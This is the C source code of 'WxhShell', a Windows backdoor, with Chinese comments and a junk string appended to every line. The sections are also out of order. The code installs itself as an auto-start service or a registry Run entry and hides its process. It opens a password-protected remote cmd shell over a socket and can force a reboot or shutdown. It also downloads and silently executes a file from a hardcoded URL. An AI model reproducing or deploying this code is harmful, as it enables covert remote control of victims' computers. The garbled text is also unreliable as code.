    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eq|_> f@@8  
    if(Boot(SHUTDOWN)) 7&X^y+bMe6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $zJ.4NA  
    else { NK#f Gz*,(  
    closesocket(wsh); r!;NH3 *  
    ExitThread(0); ~($h9* \  
    } [g<JP~4]  
    break; c[4Z_5B  
    } 6%)dsTAB  
  // 获取shell -Z  @cj  
  case 's': { /@0wbA  
    CmdShell(wsh); mX %;  
    closesocket(wsh); ]]Wa.P~]O  
    ExitThread(0); A;h~Fx6s  
    break; eOS#@6U=u  
  } 'E6)6N  
  // 退出 +YP,LDJ!v  
  case 'x': { zE<}_nA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5)0R:  
    CloseIt(wsh); 4-s Uy  
    break; 9=:!XkT.  
    } 9Czc$fSSt  
  // 离开 Zd042 %  
  case 'q': { iMF:~H-Yq#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n:HF&j4C,  
    closesocket(wsh); H Jwj,SL  
    WSACleanup(); [$B  
    exit(1); Qd$d*mwg:  
    break; H$Q_K<V  
        } x#U?~6.6  
  } Bisht%]^  
  } rqifjsv  
JWC{"6  
  // 提示信息 |NL$? %I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =xg pr*   
} {,,w5/k^  
  } ._#|h5  
*Z Aue.  
  return; iYR8sg[' #  
} fZ$8PMZv  
^[!LU  
// shell模块句柄 s<tdn[d  
int CmdShell(SOCKET sock) 4?;1cXXA  
{ RaKL KZn  
STARTUPINFO si; 5yuR[ VU  
ZeroMemory(&si,sizeof(si)); Sky!ZN'I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jv a&"}Cb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o^biO!4,  
PROCESS_INFORMATION ProcessInfo; \ c9EE-  
char cmdline[]="cmd"; NJwcb=*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .(ki(8Z N  
  return 0; "2$C_aE  
} UJ2Tj+  
gCW.;|2  
// 自身启动模式 wYPJji D  
int StartFromService(void) Sm{idky)[  
{ R=xT\i{4h  
typedef struct AKejWh  
{ hVd% jU:  
  DWORD ExitStatus; "xi)GH]H_  
  DWORD PebBaseAddress; <T,vIXwu+  
  DWORD AffinityMask; kO+Y5z6=  
  DWORD BasePriority; 8 W79  
  ULONG UniqueProcessId; zvL;.U  
  ULONG InheritedFromUniqueProcessId; ]`b/_LJN$F  
}   PROCESS_BASIC_INFORMATION; M1-n  
Y7{IF X  
PROCNTQSIP NtQueryInformationProcess; K]1A,Q  
mY+J ju1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $<OX\f%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GFB(c  
:D""c*  
  HANDLE             hProcess; i]JD::P_H  
  PROCESS_BASIC_INFORMATION pbi; c=0S]_  
E.R,'Y;x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ivmiz{Oii  
  if(NULL == hInst ) return 0; lQ {k  
f![?og)I%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g ]e^;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YKlYo~fGN9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IQAV`~_G  
;`p+Vs8C  
  if (!NtQueryInformationProcess) return 0; 5B< em  
T@ (MSgp9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @FKm_q  
  if(!hProcess) return 0; E3@G^Y  
^~'tQ}]!"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9w9[0BX#  
wM9HZraB<  
  CloseHandle(hProcess); @GNNi?EY  
i7 _Nv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1RgtZp%  
if(hProcess==NULL) return 0; o$)pJ#";F  
]%>7OH'  
HMODULE hMod; |qnAqzK|  
char procName[255]; aAhXHsZ|26  
unsigned long cbNeeded; t6(LO9Qc  
[H<![Z1*r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OGpy\0%  
">_<L.,I  
  CloseHandle(hProcess); % P .(L  
K%h9'}pq>1  
if(strstr(procName,"services")) return 1; // 以服务启动 Ta8;   
-.<fGhmU  
  return 0; // 注册表启动 ce7$r*@!  
} +L03. rf  
6[b'60CuZL  
// 主模块 TwJiYXHw?  
int StartWxhshell(LPSTR lpCmdLine) -FftEeo7  
{ )WuU?Tn&  
  SOCKET wsl; 6Lj=%&  
BOOL val=TRUE; \]uD"Jqv#  
  int port=0; #}Y$+FtO  
  struct sockaddr_in door; HqC 1Dkw  
50kjX}  
  if(wscfg.ws_autoins) Install(); ;n]GHqzY_  
x8x8T $  
port=atoi(lpCmdLine); #[Z ToE4  
Zq1Z rwPF  
if(port<=0) port=wscfg.ws_port; B?n 6o|8  
{| ~  
  WSADATA data; Kcf1$`F24  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J< Ljg<t+  
*9T a0e*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w{TZN{Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {x_SnZz&  
  door.sin_family = AF_INET; #@%DY*w]v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iXLODuI  
  door.sin_port = htons(port); &BTgISYi  
i82sMN1jl7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9BR/zQ2  
closesocket(wsl); R. :~e  
return 1; $.HZz  
} ^#i3JMq  
Rn?Yz^ 1q  
  if(listen(wsl,2) == INVALID_SOCKET) { 3lr9nBR  
closesocket(wsl); u*}[fQ`aF  
return 1; ]6s7?07m4  
} 8.JFQ/) i  
  Wxhshell(wsl); $[(amj-;l  
  WSACleanup(); 'C[{cr.`  
eV(nexE  
return 0; [u*-~(  
0n dk=V  
} .h c-uaL  
V Ioqn$  
// 以NT服务方式启动 R%Xhdcn7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ={~?O&Jh  
{ @}K|/  
DWORD   status = 0; n0)0"S|y1  
  DWORD   specificError = 0xfffffff; S:5vC {  
vtx3a^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AUk-[i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~V34j:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _L8|Z V./  
  serviceStatus.dwWin32ExitCode     = 0; "2'4b  
  serviceStatus.dwServiceSpecificExitCode = 0; IhR;YM[K  
  serviceStatus.dwCheckPoint       = 0; ??5y0I6+  
  serviceStatus.dwWaitHint       = 0; Dfhu  
I'h|7y\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sjb[v  
  if (hServiceStatusHandle==0) return; v;6O# ta'  
9f=L'{  
status = GetLastError(); srL|Y&8p  
  if (status!=NO_ERROR) <[l0zE5Z8'  
{ !m {d6C[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Jm'9iy3  
    serviceStatus.dwCheckPoint       = 0; E^s<5BC;  
    serviceStatus.dwWaitHint       = 0; o,NTI h  
    serviceStatus.dwWin32ExitCode     = status; , B90r7K:  
    serviceStatus.dwServiceSpecificExitCode = specificError; s8:-*VR9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P55QE+B  
    return; =`st1K  
  } ;bYS#Bid{V  
qQN|\u+co  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %m/W4Nk  
  serviceStatus.dwCheckPoint       = 0; }R&5Ye  
  serviceStatus.dwWaitHint       = 0; -tPia=^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p[LPi5  
} V Zz>)Kz:  
2K:Rrn/cR  
// 处理NT服务事件,比如:启动、停止 6[x6:{^J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =# /BCL7  
{ hnYL<<AA  
switch(fdwControl) r'F)8%  
{ /`kM0=MMa  
case SERVICE_CONTROL_STOP: xcHuH -}  
  serviceStatus.dwWin32ExitCode = 0; 3a Y^6&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L$zB^lSM  
  serviceStatus.dwCheckPoint   = 0; 1XppC[))  
  serviceStatus.dwWaitHint     = 0; e0Jz|?d=  
  { `*Ju0)g1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Zo"Xb  
  } 8pXului  
  return; 9cqq"-$G`  
case SERVICE_CONTROL_PAUSE: wH0m^?a!3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '}5Yc,  
  break; [`n)2} k  
case SERVICE_CONTROL_CONTINUE: XG!s+ShFV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kVRh/<s  
  break; Ht,+KbB  
case SERVICE_CONTROL_INTERROGATE: b'O>qQ  
  break; \cx==[&(  
}; <*Bk.>f!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < $>Jsv  
} Bj`ZH~T  
F1A7l"X]  
// 标准应用程序主函数 CT0 ~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^yFtL(x,  
{ Ze.\<^-t  
aj`_* T"A  
// 获取操作系统版本 z)_h"y?H{%  
OsIsNt=GetOsVer(); /^pPT6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A. 5`+  
i-FsA  
  // 从命令行安装 Vh}F#~BrI  
  if(strpbrk(lpCmdLine,"iI")) Install(); H&*KpOL  
qP5'&!s&!  
  // 下载执行文件 BG9.h!  
if(wscfg.ws_downexe) { h0z>dLA#2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JwNB)e D  
  WinExec(wscfg.ws_filenam,SW_HIDE); WV&grG|  
} V4 8o+O  
vuoD~=z  
if(!OsIsNt) { [/V i*Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 oYmLJzCf  
HideProc(); 78UE?) X"  
StartWxhshell(lpCmdLine); %0Mvd;#[  
} pd\x^F`sk.  
else |*5HNP  
  if(StartFromService()) efrVF5,y?  
  // 以服务方式启动 xT8pwTO  
  StartServiceCtrlDispatcher(DispatchTable); (x!Tb2mlk  
else 8`B]UcL)  
  // 普通方式启动 !mIr_d2"  
  StartWxhshell(lpCmdLine); p0sq{d~  
o>jM4sk$  
return 0; c( 8>|^M  
} ?}ly`Js  
"CY#_)  
_Squ%z:D  
b-OniMq~  
=========================================== GX#SCZ&}C  
y!u=]BE  
J ?^R 1  
xcM*D3  
OzA'd\|  
(iJ9ekB  
" 3aUWQP2  
J.Fy0W@+k4  
#include <stdio.h> [4 y7tjar^  
#include <string.h> rE?Fp  
#include <windows.h> ,LodP%%UV  
#include <winsock2.h> ~]V}wZt>h  
#include <winsvc.h> 8nE}RD7bx  
#include <urlmon.h> $I|6v  
r7Zx<c  
#pragma comment (lib, "Ws2_32.lib") (RU\a]Ry  
#pragma comment (lib, "urlmon.lib") fP8iz `n  
z,K;GZuP  
#define MAX_USER   100 // 最大客户端连接数 =berCV  
#define BUF_SOCK   200 // sock buffer ^-2|T__  
#define KEY_BUFF   255 // 输入 buffer M]7>Ar'zsG  
%U?1Gf e  
#define REBOOT     0   // 重启 3R& FzLs  
#define SHUTDOWN   1   // 关机 []l2 `fS#  
.C\##   
#define DEF_PORT   5000 // 监听端口 cH48)  
vhd+A  
#define REG_LEN     16   // 注册表键长度 B>UF dj]-  
#define SVC_LEN     80   // NT服务名长度 {,+MaH  
3L^]J}|  
// 从dll定义API "?v{?,@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _?oofE:{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z/G?w D|B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D^ )?*(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !]C=5~B BI  
8)bqN$*h  
// wxhshell配置信息 gT{WH67u  
struct WSCFG { W )jtTC7  
  int ws_port;         // 监听端口 <^da-b>C  
  char ws_passstr[REG_LEN]; // 口令 7CDp$7v2  
  int ws_autoins;       // 安装标记, 1=yes 0=no .D{He9  
  char ws_regname[REG_LEN]; // 注册表键名 bae\EaS ?  
  char ws_svcname[REG_LEN]; // 服务名 ~ UNK[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1n!xsesSc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SIZZFihcYh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fk#$@^c@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wV^c@.ga  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :r4o:@N'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -]Y@_T.C  
2(AuhZ>  
}; 4l'`q+^-  
*2>kic aH  
// default Wxhshell configuration W 9!K~g_  
struct WSCFG wscfg={DEF_PORT, { RC&Ub>  
    "xuhuanlingzhe", :5[1Iepdn  
    1, K_ Odu^  
    "Wxhshell", v3b+Ddp  
    "Wxhshell", DHQs_8Df  
            "WxhShell Service", <O0.q.  
    "Wrsky Windows CmdShell Service", I=2b)"t0  
    "Please Input Your Password: ", $pJw p{kN  
  1, #HTq \J!  
  "http://www.wrsky.com/wxhshell.exe", YY4q99^K  
  "Wxhshell.exe" -dS@ l'$  
    }; }D[j6+E  
p(!d,YSE  
// 消息定义模块 *f o>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  7 T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vYg>^!Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n7/>+V+  
char *msg_ws_ext="\n\rExit."; Hu$y8_Udw  
char *msg_ws_end="\n\rQuit."; <DZ$"t  
char *msg_ws_boot="\n\rReboot..."; kRqe&N e  
char *msg_ws_poff="\n\rShutdown..."; Ay0.D FL  
char *msg_ws_down="\n\rSave to "; Z(I=K BI  
4'5|YGQj  
char *msg_ws_err="\n\rErr!"; ha?M[Vyw4Q  
char *msg_ws_ok="\n\rOK!"; dJ {q}U  
w:+&i|H>  
char ExeFile[MAX_PATH]; d_ 7hh  
int nUser = 0; IictX"3lh  
HANDLE handles[MAX_USER]; ,c,@WQ2:-  
int OsIsNt; 3X%h?DC  
E NrcIZ  
SERVICE_STATUS       serviceStatus; m "96%sB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rga *68s|&  
.: k6Kg  
// 函数声明 G8&/I c  
int Install(void); g'AxJ  
int Uninstall(void); <Hr~|oG  
int DownloadFile(char *sURL, SOCKET wsh); G!+Mu2  
int Boot(int flag); $!$,cK Pl5  
void HideProc(void); )4TP{tp  
int GetOsVer(void); e2yCWolmTS  
int Wxhshell(SOCKET wsl); :gn&wi  
void TalkWithClient(void *cs);  {H*  
int CmdShell(SOCKET sock); :$*@S=8O  
int StartFromService(void); NfWL3"&X  
int StartWxhshell(LPSTR lpCmdLine); bTt1yO  
F*T$n"^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]\y]8v5(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (H8JV1J  
bXSAZW f  
// 数据结构和表定义 @'<=E AXe  
SERVICE_TABLE_ENTRY DispatchTable[] = qrf90F)  
{ szCB}WY  
{wscfg.ws_svcname, NTServiceMain}, dNf:I,<DCf  
{NULL, NULL} )|/%]@` N  
}; g`C\pdX"B  
V8#NXU g<!  
// 自我安装 oFGWI#]ts>  
int Install(void) >a&IFi,j  
{ t.#ara{  
  char svExeFile[MAX_PATH]; '<s54 Cb  
  HKEY key; {isL<  
  strcpy(svExeFile,ExeFile); 2u$rloc$b  
_F5*\tQ  
// 如果是win9x系统,修改注册表设为自启动 f] _'icP  
if(!OsIsNt) { 0xY</S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pzZ+!d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =*R6 O,  
  RegCloseKey(key); _+.JTk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q ~^!Ck+#*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [{`2FR:Cd  
  RegCloseKey(key); Q' Tg0,,S  
  return 0; '50}QY_R.  
    } ,q;?zcC7  
  } I1 Otu~%d  
} yfal'DqKF  
else { *E]:VZl  
+D2I~hC0'  
// 如果是NT以上系统,安装为系统服务 9F[_xe@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _N=f&~T  
if (schSCManager!=0) 0*_E'0L8e  
{ kD0bdE|  
  SC_HANDLE schService = CreateService +I?k8 ',pi  
  ( 4,>9N9.?9  
  schSCManager, P) cEYk  
  wscfg.ws_svcname, .)SR3?   
  wscfg.ws_svcdisp, f!#+cM  
  SERVICE_ALL_ACCESS, +w-J;GLSy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a|jZg  
  SERVICE_AUTO_START, oKCv$>Y  
  SERVICE_ERROR_NORMAL, : _tt9J  
  svExeFile, uXk]  
  NULL, fY6~Z BvK  
  NULL, (k8}9[3G  
  NULL, +H28F_ #  
  NULL, G{I),Y~IF  
  NULL 5 5m\, UG7  
  ); p!5'#\^f  
  if (schService!=0) [(gXjt-  
  { BNj_f  
  CloseServiceHandle(schService); YRo,wsj  
  CloseServiceHandle(schSCManager); Y%eq2%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vn_~ |-Wt  
  strcat(svExeFile,wscfg.ws_svcname); Kk*8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l*6Zh "o:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tJ 2GSZ`  
  RegCloseKey(key); .`Q^8|$-K  
  return 0; tbWf m5$  
    } {VKFw=$8  
  } ]Axz}:  
  CloseServiceHandle(schSCManager); T@Y, 7ccpd  
} yYaoA/0  
} G[`1Yw$  
o+B)  
return 1; {}$Zff   
} 0|J_'-<  
7}g4ePYag  
// 自我卸载 |Fi5/$S.  
int Uninstall(void) 1`YU9?  
{ g `%in  
  HKEY key; cPD_=.&  
&w#!   
if(!OsIsNt) { j:xC \b47"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~MBPN 4r  
  RegDeleteValue(key,wscfg.ws_regname); #c5jCy}n  
  RegCloseKey(key); N+h05`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l?=\9y  
  RegDeleteValue(key,wscfg.ws_regname); D}q"^"#T  
  RegCloseKey(key); "4;nnq  
  return 0; 8! rdqI   
  } ICvV}%d  
} pF4Z4?W  
} =E5bM_P<K  
else { __2<v?\  
==&  y9e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2ozh!8aL  
if (schSCManager!=0) %IX)+ Lp`  
{ jx]P:]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W*t] d  
  if (schService!=0) BMy3tyO  
  { @phVfP"M  
  if(DeleteService(schService)!=0) { \ l#eW x  
  CloseServiceHandle(schService); 5&V=$]t  
  CloseServiceHandle(schSCManager); 3iIy_nWC  
  return 0; )@X0'X<  
  } aL( hWE  
  CloseServiceHandle(schService); 1[^YK6a/  
  } vWZXb `  
  CloseServiceHandle(schSCManager); u0c}[BAF  
} iN[x *A|h  
} =9X1+x  
Q-n8~Ey1a  
return 1; K5jt(7i  
} EU%,tp   
 @Fb1D"!  
// 从指定url下载文件 L%T(H<G  
int DownloadFile(char *sURL, SOCKET wsh) @M]_],  
{ jYFJk&c  
  HRESULT hr; Bchv1KF  
char seps[]= "/"; U}RBgPX!  
char *token; ?: yz/9(  
char *file; bI55G#1G  
char myURL[MAX_PATH]; `8ac;b  
char myFILE[MAX_PATH]; 4b`E/L}2  
P[ 2!D)A  
strcpy(myURL,sURL); wSN9`"  
  token=strtok(myURL,seps); ( Jk& U8y  
  while(token!=NULL) 1)56ec<c  
  { /ce;-3+  
    file=token; Lwr's'ao.  
  token=strtok(NULL,seps); d+ jX49Vt  
  } Uj):}xgi'  
N/bOl~!y  
GetCurrentDirectory(MAX_PATH,myFILE); >u?.gJm~  
strcat(myFILE, "\\"); vR!+ 8sy$  
strcat(myFILE, file); r3l1I}  
  send(wsh,myFILE,strlen(myFILE),0); SM2Lbfp!u  
send(wsh,"...",3,0); 1f`De`zXzr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 {&g.+  
  if(hr==S_OK) @- STo/  
return 0; ^#Ha H  
else 7$'AH:K  
return 1; 68Fl/   
bj pruJ`=  
} c ZYy+  
j_~KD}  
// 系统电源模块 eV[{c %wN:  
int Boot(int flag) b=,B Le\  
{ Alxf;[s  
  HANDLE hToken; m+<&NDj.  
  TOKEN_PRIVILEGES tkp; HwUaaK   
Ti%MOYNCv  
  if(OsIsNt) { ^M'(/O1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  }QFL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u>*a@3$f  
    tkp.PrivilegeCount = 1; ,/\`Rc^n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r#sg5aS7O|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A2|Bbqd  
if(flag==REBOOT) { WH:dcU   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~}.C*;J  
  return 0; &C9IR,&  
} n-Iz!;q  
else { A{ +/$7vek  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q+?&w'8  
  return 0; .U!EA0B  
} _3`G ZeGV  
  } &}"kF\  
  else { b)diYsTH  
if(flag==REBOOT) { h4hAzFQ.s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [V'c  
  return 0; q"VmuQ  
} Y~UuT8-c  
else { \.i7( J]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w <r*&  
  return 0; :Awwt0  
} Xf4QLw/r  
} +^AdD8U  
iC#a+G*N_M  
return 1; 'V&g"Pb  
} +~5Lo'^  
)G2Bx+Z;L  
// win9x进程隐藏模块 /@`"&@W'  
void HideProc(void) x6/u+Urn  
{ EXSH{P O+  
1uo- ?k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RuHDAJ"&a  
  if ( hKernel != NULL ) < se~wR  
  { D <iG*I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &* VhtT?=5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MHpGG00,  
    FreeLibrary(hKernel); W? G4>zA  
  } |j+JLB  
K3zY-yIco  
return; 4rhHvp  
} \n}%RD-Ce  
jZ~girA  
// 获取操作系统版本 o6u^hG6~'  
int GetOsVer(void) qjRbsD>  
{ g0 Q,]\~  
  OSVERSIONINFO winfo; iZ]^JPU}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rO}1E<g (  
  GetVersionEx(&winfo); Y~Uf2(7b5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) / B!j`UK  
  return 1; \4 b^*`d  
  else 9"[,9HN  
  return 0; PS~_a  
} YMo8C(  
E?]$Y[KJKs  
// 客户端句柄模块 gYt=_+-  
int Wxhshell(SOCKET wsl) V dJ  
{ Ktk?(49  
  SOCKET wsh; gPn0-)<  
  struct sockaddr_in client;  D?Beg F  
  DWORD myID; r;@0 F  
=bp'5h8_  
  while(nUser<MAX_USER) Af\@J6viF7  
{ EuHQp7  
  int nSize=sizeof(client); );HhV,$n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2H;#L`Z*  
  if(wsh==INVALID_SOCKET) return 1; p4uzw  
U>n[R/~]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V'b4wO1RV  
if(handles[nUser]==0) ^4IJL",  
  closesocket(wsh); I!!cA?W  
else WReHep  
  nUser++; %Ja0:e  
  } &t UX(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :H>I`)bw  
I*3 >>VN  
  return 0; [#!Y7Ede  
} /sYr?b!/<6  
NP3 e^  
// 关闭 socket HMD\)vMK6  
void CloseIt(SOCKET wsh) E!X>C^  
{ ,./ n@.na  
closesocket(wsh); 2(uh7#Q  
nUser--; ;QVTb3Th  
ExitThread(0); |QZ E  
} *QN,w BQ  
XnYX@p  
// 客户端请求句柄 /QB;0PrE  
void TalkWithClient(void *cs) ?yG[VW  
{ "Pc}-&  
JV,h1/a("  
  SOCKET wsh=(SOCKET)cs; 8yIBx%"4MH  
  char pwd[SVC_LEN]; # a4OtRiI  
  char cmd[KEY_BUFF]; F(j;|okf;  
char chr[1]; R o{xprE1  
int i,j; O\!'Ds+gX  
3ylSO73R  
  while (nUser < MAX_USER) { ;pL!cG@  
%V1jM  
if(wscfg.ws_passstr) { N~b0b;e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i\ uj>;B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |"}7)[BW}  
  //ZeroMemory(pwd,KEY_BUFF); 8@doKOA~T  
      i=0; I@qGDKz;  
  while(i<SVC_LEN) { jp "Q[gR##  
M:.+^.h  
  // 设置超时 ]*MVC/R,  
  fd_set FdRead; O,7S1  
  struct timeval TimeOut; <^$ppwk $  
  FD_ZERO(&FdRead); u[SqZftmO  
  FD_SET(wsh,&FdRead); @[v,q_^8  
  TimeOut.tv_sec=8; 8_wh9   
  TimeOut.tv_usec=0; Y9-F\t=~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HS*Y%*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rosD)]I7  
ZJ+ad,?,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E>/~:  
  pwd=chr[0]; "3++S  
  if(chr[0]==0xd || chr[0]==0xa) { oP T)vN?  
  pwd=0; \)6AzCq  
  break; n2_;:=  
  } c om4@NK  
  i++; t>a D;|Y  
    } )n<p_vz  
.*n*eeD,  
  // 如果是非法用户,关闭 socket W!"QtEJ,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :,yC\,H^  
} +BO kHXk1  
,o0Kevz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B[h^]k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B1Pi+-t  
F+NX [  
while(1) { L%3Bp/`S  
#Muh|P]%\  
  ZeroMemory(cmd,KEY_BUFF); y$di_)&g  
g'w"U9tjO  
      // 自动支持客户端 telnet标准   K;Hgq4  
  j=0; XM"Qs.E  
  while(j<KEY_BUFF) { 6WIs*$T2*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x)Zm5&"Gg  
  cmd[j]=chr[0]; m<k6oev$  
  if(chr[0]==0xa || chr[0]==0xd) { h-O;5.m-P  
  cmd[j]=0; S[hyN7sI  
  break; oa=TlBk<  
  } q$b 4S4Z7  
  j++; !%t2Z QJq  
    } ;ThFB  
;; {K##^l  
  // 下载文件 O0 Uh  
  if(strstr(cmd,"http://")) { Sp?e!`|8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^~vM*.j~j  
  if(DownloadFile(cmd,wsh)) `:EhYj.   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0B<9Wi |  
  else X@:Y./  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O^6anUV0  
  } F#) bGi  
  else { E y9rH_  
XpkOCo02  
    switch(cmd[0]) { dKD:mU",M  
  k?L2LIB<  
  // 帮助 SsZSR.tD  
  case '?': { '3sySsD&O  
